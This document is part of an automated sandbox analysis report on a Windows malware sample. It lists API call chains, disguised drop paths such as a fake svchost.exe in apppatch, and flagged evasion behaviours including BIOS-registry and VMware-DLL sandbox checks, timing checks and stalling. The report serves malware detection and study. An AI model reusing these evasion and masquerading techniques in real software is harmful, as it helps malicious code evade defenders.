Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,10_2_01535890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,StrStrIA,10_2_01541150
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,10_2_015411C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateThread,StrStrIA,GetHandleInformation,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,CreateThread,wsprintfA,wsprintfA,wsprintfA,CreateThread,wsprintfA,10_2_0152C9F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,10_2_01521180
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetUserNameA,memset,InitializeCriticalSection,StrStrIA,10_2_01539860
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,10_2_0153B810
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,10_2_01527020
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,10_2_01542320
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,10_2_01540BE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError,10_2_01523510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,10_2_0153FDC0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,10_2_01542590
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,10_2_015344F0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,10_2_0153FFE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,10_2_01521670
Contains functionality to detect sandboxes (registry SystemBiosVersion/Date)
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00403900 RegQueryValueEx -> SystemBiosVersion/Date0_2_00403900
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00403900 RegQueryValueEx -> SystemBiosVersion/Date2_2_00403900
Found evasive API chain (may stop execution after checking volume information)
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeEvasive API call chain: GetVolumeInformation,DecisionNodes,ExitProcessgraph_0-29898
Found evasive API chain checking for user administrative privileges
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCheck user administrative privileges: IsUserAndAdmin, DecisionNodegraph_0-29930
Source: C:\Windows\apppatch\svchost.exeCheck user administrative privileges: IsUserAndAdmin, DecisionNodegraph_2-81093
Found stalling execution ending in API Sleep call
Source: C:\Windows\apppatch\svchost.exeStalling execution: Execution stalls by calling Sleepgraph_2-80949
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\SysWOW64\vmhgfs.DLLJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\vmhgfs.DLLJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Program Files (x86)\Windows Defender\vmhgfs.DLLJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\vmhgfs.DLLJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\SysWOW64\OpenSSH\vmhgfs.DLLJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\apppatch\vmhgfs.DLLJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Program Files (x86)\Common Files\Oracle\Java\javapath\vmhgfs.DLLJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Users\user\AppData\Local\Microsoft\WindowsApps\vmhgfs.DLLJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\SysWOW64\Wbem\vmhgfs.DLLJump to behavior
Source: C:\Windows\apppatch\svchost.exeFile opened / queried: C:\Windows\system\vmhgfs.DLLJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeFile opened / queried: C:\Users\user\Desktop\vmhgfs.DLLJump to behavior
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00401A30 rdtsc 0_2_00401A30
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C76A30 NtQuerySystemInformation,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,_snprintf,memset,_snprintf,OpenMutexA,2_2_02C76A30
Source: C:\Windows\apppatch\svchost.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 2214Jump to behavior
Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 1219Jump to behavior
Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 1206Jump to behavior
Source: C:\Windows\apppatch\svchost.exeWindow / User API: threadDelayed 3536Jump to behavior
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C864A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,VirtualQuery,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,2_2_02C864A0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_017564A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,6_2_017564A0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_031164A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,7_2_031164A0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_015364A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,10_2_015364A0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeAPI coverage: 2.9 %
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeAPI coverage: 2.1 %
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeAPI coverage: 2.1 %
Source: C:\Windows\apppatch\svchost.exe TID: 6256Thread sleep count: 2214 > 30Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 6256Thread sleep time: -221400s >= -30000sJump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7404Thread sleep count: 1219 > 30Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7404Thread sleep time: -121900s >= -30000sJump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7408Thread sleep count: 1206 > 30Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7408Thread sleep time: -120600s >= -30000sJump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 6256Thread sleep count: 3536 > 30Jump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 6256Thread sleep time: -353600s >= -30000sJump to behavior
Source: C:\Windows\apppatch\svchost.exe TID: 7076Thread sleep time: -922337203685477s >= -30000sJump to behavior
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C766D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,2_2_02C766D0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C97CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,2_2_02C97CE0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C8BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,2_2_02C8BBE9
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C8BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,2_2_02C8BB20
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C8D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,2_2_02C8D0C0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C8D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,2_2_02C8D189
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C9BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,2_2_02C9BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0175D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,6_2_0175D189
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0175D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,6_2_0175D0C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0175BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,6_2_0175BB20
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0175BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,6_2_0175BBE9
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_01767CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,6_2_01767CE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0176BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,6_2_0176BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_017466D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,6_2_017466D0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0311BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,7_2_0311BB20
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0311BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,7_2_0311BBE9
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0311D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,7_2_0311D189
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0311D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,7_2_0311D0C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0312BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,7_2_0312BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_031066D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,7_2_031066D0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_03127CE0 LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,7_2_03127CE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0153D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,10_2_0153D189
